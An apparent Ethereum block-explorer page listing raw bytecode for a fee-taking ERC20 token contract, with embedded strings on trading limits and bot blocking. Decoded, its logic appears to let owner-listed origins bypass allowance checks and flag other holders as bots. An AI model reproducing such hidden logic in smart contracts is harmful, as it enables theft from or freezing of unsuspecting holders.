Cryo Explorer Ethereum Mainnet

Address Contract Verified

Address 0x22aCCAB42cA2ae6bA110A0aa9AC7abc768266072
Balance 0 ETH
Nonce 1
Code Size 16230 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

16230 bytes
0x608060405260043610610296575f3560e01c80637849c1cd11610159578063a9059cbb116100c0578063e10e9f3211610079578063e10e9f32146109fd578063f2fde38b14610a27578063f872858a14610a4f578063fb002c9714610a79578063fc155d1d14610aa3578063ffb54a9914610acb5761029d565b8063a9059cbb146108cb578063ac23ca5914610907578063c816841b14610931578063c867d60b1461095b578063d0662c9414610997578063dd62ed3e146109c15761029d565b80638da5cb5b116101125780638da5cb5b146107ab5780639191a9c7146107d557806395d89b4114610811578063a073d37f1461083b578063a08e671f14610865578063a457c2d71461088f5761029d565b80637849c1cd146106af578063796eca84146106d95780637d1db4a5146107035780637daf1aa51461072d578063807c2d9c1461075757806382d20116146107815761029d565b806327c8f835116101fd57806331f1e529116101b657806331f1e5291461059157806339509351146105bb5780634b743995146105f75780635342acb41461062157806370a082311461065d578063715018a6146106995761029d565b806327c8f835146104a95780632b112e49146104d35780632baa7217146104fd5780632e636a8e146105275780632e97766d1461053d578063313ce567146105675761029d565b80631694505e1161024f5780631694505e1461039b57806318160ddd146103c557806319c59e2c146103ef5780631a8145bb146104195780631ec71bb11461044357806323b872dd1461046d5761029d565b806301339c21146102a1578063031d6cd0146102b757806306fdde03146102e1578063095ea7b31461030b5780630e47e822146103475780631107b3a5146103715761029d565b3661029d57005b5f5ffd5b3480156102ac575f5ffd5b506102b5610af5565b005b3480156102c2575f5ffd5b506102cb610bb8565b6040516102d891906130f3565b60405180910390f35b3480156102ec575f5ffd5b506102f5610bbe565b604051610302919061317c565b60405180910390f35b348015610316575f5ffd5b50610331600480360381019061032c9190613224565b610c4e565b60405161033e919061327c565b60405180910390f35b348015610352575f5ffd5b5061035b610c6b565b60405161036891906130f3565b60405180910390f35b34801561037c575f5ffd5b50610385610c71565b60405161039291906130f3565b60405180910390f35b3480156103a6575f5ffd5b506103af610c77565b6040516103bc91906132f0565b60405180910390f35b3480156103d0575f5ffd5b506103d9610c9c565b6040516103e691906130f3565b60405180910390f35b3480156103fa575f5ffd5b50610403610ca5565b60405161041091906130f3565b60405180910390f35b348015610424575f5ffd5b5061042d610cab565b60405161043a91906130f3565b60405180910390f35b34801561044e575f5ffd5b50610457610cb1565b6040516104649190613329565b60405180910390f35b348015610478575f5ffd5b50610493600480360381019061048e9190613342565b610cd6565b6040516104a0919061327c565b60405180910390f35b3480156104b4575f5ffd5b506104bd610d9d565b6040516104ca91906133a1565b60405180910390f35b3480156104de575f5ffd5b506104e7610dc1565b6040516104f491906130f3565b60405180910390f35b348015610508575f5ffd5b50610511610e04565b60405161051e91906130f3565b60405180910390f35b348015610532575f5ffd5b5061053b610e0a565b005b348015610548575f5ffd5b50610551610ef7565b60405161055e91906130f3565b60405180910390f35b348015610572575f5ffd5b5061057b610efe565b60405161058891906133d5565b60405180910390f35b34801561059c575f5ffd5b506105a5610f13565b6040516105b29190613329565b60405180910390f35b3480156105c6575f5ffd5b506105e160048036038101906105dc9190613224565b610f39565b6040516105ee919061327c565b60405180910390f35b348015610602575f5ffd5b5061060b610fe7565b60405161061891906130f3565b60405180910390f35b34801561062c575f5ffd5b50610647600480360381019061064291906133ee565b610fed565b604051610654919061327c565b60405180910390f35b348015610668575f5ffd5b50610683600480360381019061067e91906133ee565b61100a565b60405161069091906130f3565b60405180910390f35b3480156106a4575f5ffd5b506106ad611050565b005b3480156106ba575f5ffd5b506106c36111a0565b6040516106d091906130f3565b60405180910390f35b3480156106e4575f5ffd5b506106ed6111a6565b6040516106fa919061317c565b60405180910390f35b34801561070e575f5ffd5b50610717611232565b60405161072491906130f3565b60405180910390f35b348015610738575f5ffd5b50610741611238565b60405161074e91906130f3565b60405180910390f35b348015610762575f5ffd5b5061076b61123e565b60405161077891906130f3565b60405180910390f35b34801561078c575f5ffd5b50610795611244565b6040516107a291906130f3565b60405180910390f35b3480156107b6575f5ffd5b506107bf61124a565b6040516107cc91906133a1565b60405180910390f35b3480156107e0575f5ffd5b506107fb60048036038101906107f691906133ee565b611271565b604051610808919061327c565b60405180910390f35b34801561081c575f5ffd5b5061082561128d565b604051610832919061317c565b60405180910390f35b348015610846575f5ffd5b5061084f61131d565b60405161085c91906130f3565b60405180910390f35b348015610870575f5ffd5b50610879611326565b60405161088691906130f3565b60405180910390f35b34801561089a575f5ffd5b506108b560048036038101906108b09190613224565b61132c565b6040516108c2919061327c565b60405180910390f35b3480156108d6575f5ffd5b506108f160048036038101906108ec9190613224565b6113f4565b6040516108fe919061327c565b60405180910390f35b348015610912575f5ffd5b5061091b611412565b60405161092891906130f3565b60405180910390f35b34801561093c575f5ffd5b50610945611418565b60405161095291906133a1565b60405180910390f35b348015610966575f5ffd5b50610981600480360381019061097c91906133ee565b61143d565b60405161098e919061327c565b60405180910390f35b3480156109a2575f5ffd5b506109ab61145a565b6040516109b891906133a1565b60405180910390f35b3480156109cc575f5ffd5b506109e760048036038101906109e29190613419565b61147f565b6040516109f491906130f3565b60405180910390f35b348015610a08575f5ffd5b50610a11611501565b604051610a1e91906130f3565b60405180910390f35b348015610a32575f5ffd5b50610a4d6004803603810190610a4891906133ee565b611507565b005b348015610a5a575f5ffd5b50610a636116c6565b604051610a70919061327c565b60405180910390f35b348015610a84575f5ffd5b50610a8d6116d8565b604051610a9a91906130f3565b60405180910390f35b348015610aae575f5ffd5b50610ac96004803603810190610ac49190613457565b6116de565b005b348015610ad6575f5ffd5b50610adf61197f565b604051610aec919061327c565b60405180910390f35b610afd611991565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b81906134cc565b60405180910390fd5b610b9c610b963061100a565b47611998565b600160255f6101000a81548160ff021916908315150217905550565b60155481565b606060018054610bcd90613517565b80601f0160208091040260200160405190810160405280929190818152602001828054610bf990613517565b8015610c445780601f10610c1b57610100808354040283529160200191610c44565b820191905f5260205f20905b815481529060010190602001808311610c2757829003601f168201915b5050505050905090565b5f610c61610c5a611991565b8484611a78565b6001905092915050565b60165481565b60145481565b60215f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f600a54905090565b60125481565b60235481565b600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f610ce2848484611c3b565b50610d9284610cef611991565b610d8d856001610cfd612488565b601c5f8c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610d43611991565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612532909392919063ffffffff16565b611a78565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b5f610dff610dee7f000000000000000000000000000000000000000000000000000000000000dead61100a565b600a546125d090919063ffffffff16565b905090565b60195481565b610e12611991565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e96906134cc565b60405180910390fd5b5f4711610eaa575f5ffd5b610eb2611991565b73ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610ef4573d5f5f3e3d5ffd5b50565b5f43905090565b5f60035f9054906101000a900460ff16905090565b600e60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f610fdd610f45611991565b84610fd885601c5f610f55611991565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461261990919063ffffffff16565b611a78565b6001905092915050565b60175481565b601d602052805f5260405f205f915054906101000a900460ff1681565b5f601b5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b611058611991565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110dc906134cc565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60115481565b600780546111b390613517565b80601f01602080910402602001604051908101604052809291908181526020018280546111df90613517565b801561122a5780601f106112015761010080835404028352916020019161122a565b820191905f5260205f20905b81548152906001019060200180831161120d57829003601f168201915b505050505081565b600c5481565b60085481565b600d5481565b60105481565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60208052805f5260405f205f915054906101000a900460ff1681565b60606002805461129c90613517565b80601f01602080910402602001604051908101604052809291908181526020018280546112c890613517565b80156113135780601f106112ea57610100808354040283529160200191611313565b820191905f5260205f20905b8154815290600101906020018083116112f657829003601f168201915b5050505050905090565b5f600b54905090565b601a5481565b5f6113ea611338611991565b846113e585604051806060016040528060258152602001613f0c60259139601c5f611361611991565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546126769092919063ffffffff16565b611a78565b6001905092915050565b5f611407611400611991565b8484611c3b565b506001905092915050565b60185481565b60225f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601e602052805f5260405f205f915054906101000a900460ff1681565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f601c5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60135481565b61150f611991565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461159c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611593906134cc565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361160a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611601906135b7565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600e5f9054906101000a900460ff1681565b60245481565b6116e6611991565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611773576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176a906134cc565b60405180910390fd5b5f600267ffffffffffffffff81111561178f5761178e6135d5565b5b6040519080825280602002602001820160405280156117bd5781602001602082028036833780820191505090505b50905060215f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561182a573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061184e9190613616565b815f8151811061186157611860613641565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505030816001815181106118b0576118af613641565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060215f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b6f9de95835f8461dead426040518663ffffffff1660e01b815260040161194d949392919061375e565b5f604051808303818588803b158015611964575f5ffd5b505af1158015611976573d5f5f3e3d5ffd5b50505050505050565b60255f9054906101000a900460ff1681565b5f33905090565b6119c43060215f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611a78565b60215f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230855f5f611a0e61124a565b426040518863ffffffff1660e01b8152600401611a30969594939291906137a8565b60606040518083038185885af1158015611a4c573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190611a71919061381b565b5050505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611ae6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611add906138db565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611b54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4b90613969565b60405180910390fd5b80601c5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611c2e91906130f3565b60405180910390a3505050565b5f5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611caa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca1906139f7565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611d18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d0f90613a85565b60405180910390fd5b60255f9054906101000a900460ff16611dc657601d5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16611db4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dab90613b13565b60405180910390fd5b611dbf8484846126d8565b9050612481565b60095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015611e64575060095f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b611ea3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9a90613b7b565b60405180910390fd5b601d5f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611f46575060225f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611f7f575061dead73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611fa057506103e882611f938661100a565b611f9d9190613bc6565b11155b1561200357600160095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555060019050612481565b602260149054906101000a900460ff161561202a576120238484846126d8565b9050612481565b61203261124a565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156120a0575061207061124a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156120b0576120af84836128a2565b5b5f6120ba3061100a565b90505f600b5482101590508080156120df5750602260149054906101000a900460ff16155b8015612132575060205f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15612141576121408261293c565b5b6121c8846040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250601b5f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546126769092919063ffffffff16565b601b5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f601d5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16806122a55750601d5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b6122b9576122b4878787612ae9565b6122bb565b845b9050600e5f9054906101000a900460ff16801561231f5750601e5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561234d57600d54612342826123348961100a565b61261990919063ffffffff16565b111561234c575f5ffd5b5b61239d81601b5f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461261990919063ffffffff16565b601b5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614612479578573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161247091906130f3565b60405180910390a35b600193505050505b9392505050565b6060601d5f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff166124f657604051806060016040528060288152602001613ee46028913961252d565b6040518060400160405280601281526020017f544f4b454e3a203c20616c6c6f77616e636500000000000000000000000000008152505b905090565b5f5f851015801561254357505f8410155b8015612553575060011515831515145b8015612560575060128251145b1561256d578490506125c8565b8484111582906125b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125aa919061317c565b60405180910390fd5b505f84866125c19190613bc6565b9050809150505b949350505050565b5f61261183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612676565b905092915050565b5f5f82846126279190613bf9565b90508381101561266c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161266390613c76565b60405180910390fd5b8091505092915050565b5f8383111582906126bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126b4919061317c565b60405180910390fd5b505f83856126cb9190613bc6565b9050809150509392505050565b5f612760826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250601b5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546126769092919063ffffffff16565b601b5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506127f182601b5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461261990919063ffffffff16565b601b5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161288f91906130f3565b60405180910390a3600190509392505050565b600c54811115806128f95750601f5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b612938576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161292f90613cde565b60405180910390fd5b5050565b6001602260146101000a81548160ff0219169083151502179055505f6129946002612986601a5461297860185487612d0390919063ffffffff16565b612d7a90919063ffffffff16565b612d7a90919063ffffffff16565b90505f6129aa82846125d090919063ffffffff16565b90506129b581612dc3565b5f4790505f6129e46129d36002601854612d7a90919063ffffffff16565b601a546125d090919063ffffffff16565b90505f612a216002612a1384612a0560185488612d0390919063ffffffff16565b612d7a90919063ffffffff16565b612d7a90919063ffffffff16565b90505f612a3782856125d090919063ffffffff16565b90505f811115612a6d57612a6c600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682613032565b5b5f82118015612a7b57505f86115b15612ac657612a8a8683611998565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb561858388604051612abd93929190613cfc565b60405180910390a15b5050505050505f602260146101000a81548160ff02191690831515021790555050565b5f5f5f905060205f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615612b6c57612b656064612b5760125486612d0390919063ffffffff16565b612d7a90919063ffffffff16565b9050612be7565b60205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615612be657612be36064612bd560165486612d0390919063ffffffff16565b612d7a90919063ffffffff16565b90505b5b5f811115612ce657612c3f81601b5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461261990919063ffffffff16565b601b5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612cdd91906130f3565b60405180910390a35b612cf981846125d090919063ffffffff16565b9150509392505050565b5f5f8303612d13575f9050612d74565b5f8284612d209190613d31565b9050828482612d2f9190613d9f565b14612d6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d6690613e3f565b60405180910390fd5b809150505b92915050565b5f612dbb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061307a565b905092915050565b5f600267ffffffffffffffff811115612ddf57612dde6135d5565b5b604051908082528060200260200182016040528015612e0d5781602001602082028036833780820191505090505b50905030815f81518110612e2457612e23613641565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060215f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612ec8573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190612eec9190613616565b81600181518110612f0057612eff613641565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612f663060215f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611a78565b60215f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401612fc8959493929190613e5d565b5f604051808303815f87803b158015612fdf575f5ffd5b505af1158015612ff1573d5f5f3e3d5ffd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051613026929190613eb5565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015613075573d5f5f3e3d5ffd5b505050565b5f5f831182906130c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130b7919061317c565b60405180910390fd5b505f83856130ce9190613d9f565b9050809150509392505050565b5f819050919050565b6130ed816130db565b82525050565b5f6020820190506131065f8301846130e4565b92915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61314e8261310c565b6131588185613116565b9350613168818560208601613126565b61317181613134565b840191505092915050565b5f6020820190508181035f8301526131948184613144565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6131c9826131a0565b9050919050565b6131d9816131bf565b81146131e3575f5ffd5b50565b5f813590506131f4816131d0565b92915050565b613203816130db565b811461320d575f5ffd5b50565b5f8135905061321e816131fa565b92915050565b5f5f6040838503121561323a5761323961319c565b5b5f613247858286016131e6565b925050602061325885828601613210565b9150509250929050565b5f8115159050919050565b61327681613262565b82525050565b5f60208201905061328f5f83018461326d565b92915050565b5f819050919050565b5f6132b86132b36132ae846131a0565b613295565b6131a0565b9050919050565b5f6132c98261329e565b9050919050565b5f6132da826132bf565b9050919050565b6132ea816132d0565b82525050565b5f6020820190506133035f8301846132e1565b92915050565b5f613313826131a0565b9050919050565b61332381613309565b82525050565b5f60208201905061333c5f83018461331a565b92915050565b5f5f5f606084860312156133595761335861319c565b5b5f613366868287016131e6565b9350506020613377868287016131e6565b925050604061338886828701613210565b9150509250925092565b61339b816131bf565b82525050565b5f6020820190506133b45f830184613392565b92915050565b5f60ff82169050919050565b6133cf816133ba565b82525050565b5f6020820190506133e85f8301846133c6565b92915050565b5f602082840312156134035761340261319c565b5b5f613410848285016131e6565b91505092915050565b5f5f6040838503121561342f5761342e61319c565b5b5f61343c858286016131e6565b925050602061344d858286016131e6565b9150509250929050565b5f6020828403121561346c5761346b61319c565b5b5f61347984828501613210565b91505092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6134b6602083613116565b91506134c182613482565b602082019050919050565b5f6020820190508181035f8301526134e3816134aa565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061352e57607f821691505b602082108103613541576135406134ea565b5b50919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6135a1602683613116565b91506135ac82613547565b604082019050919050565b5f6020820190508181035f8301526135ce81613595565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f81519050613610816131d0565b92915050565b5f6020828403121561362b5761362a61319c565b5b5f61363884828501613602565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f61369161368c6136878461366e565b613295565b6130db565b9050919050565b6136a181613677565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6136d9816131bf565b82525050565b5f6136ea83836136d0565b60208301905092915050565b5f602082019050919050565b5f61370c826136a7565b61371681856136b1565b9350613721836136c1565b805f5b8381101561375157815161373888826136df565b9750613743836136f6565b925050600181019050613724565b5085935050505092915050565b5f6080820190506137715f830187613698565b81810360208301526137838186613702565b90506137926040830185613392565b61379f60608301846130e4565b95945050505050565b5f60c0820190506137bb5f830189613392565b6137c860208301886130e4565b6137d56040830187613698565b6137e26060830186613698565b6137ef6080830185613392565b6137fc60a08301846130e4565b979650505050505050565b5f81519050613815816131fa565b92915050565b5f5f5f606084860312156138325761383161319c565b5b5f61383f86828701613807565b935050602061385086828701613807565b925050604061386186828701613807565b9150509250925092565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6138c5602483613116565b91506138d08261386b565b604082019050919050565b5f6020820190508181035f8301526138f2816138b9565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f613953602283613116565b915061395e826138f9565b604082019050919050565b5f6020820190508181035f83015261398081613947565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6139e1602583613116565b91506139ec82613987565b604082019050919050565b5f6020820190508181035f830152613a0e816139d5565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f613a6f602383613116565b9150613a7a82613a15565b604082019050919050565b5f6020820190508181035f830152613a9c81613a63565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e64205f8201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b5f613afd603f83613116565b9150613b0882613aa3565b604082019050919050565b5f6020820190508181035f830152613b2a81613af1565b9050919050565b7f426f74206973206e6f7420616c6c6f77656400000000000000000000000000005f82015250565b5f613b65601283613116565b9150613b7082613b31565b602082019050919050565b5f6020820190508181035f830152613b9281613b59565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f613bd0826130db565b9150613bdb836130db565b9250828203905081811115613bf357613bf2613b99565b5b92915050565b5f613c03826130db565b9150613c0e836130db565b9250828201905080821115613c2657613c25613b99565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f613c60601b83613116565b9150613c6b82613c2c565b602082019050919050565b5f6020820190508181035f830152613c8d81613c54565b9050919050565b7f5458204c696d69742045786365656465640000000000000000000000000000005f82015250565b5f613cc8601183613116565b9150613cd382613c94565b602082019050919050565b5f6020820190508181035f830152613cf581613cbc565b9050919050565b5f606082019050613d0f5f8301866130e4565b613d1c60208301856130e4565b613d2960408301846130e4565b949350505050565b5f613d3b826130db565b9150613d46836130db565b9250828202613d54816130db565b91508282048414831517613d6b57613d6a613b99565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f613da9826130db565b9150613db4836130db565b925082613dc457613dc3613d72565b5b828204905092915050565b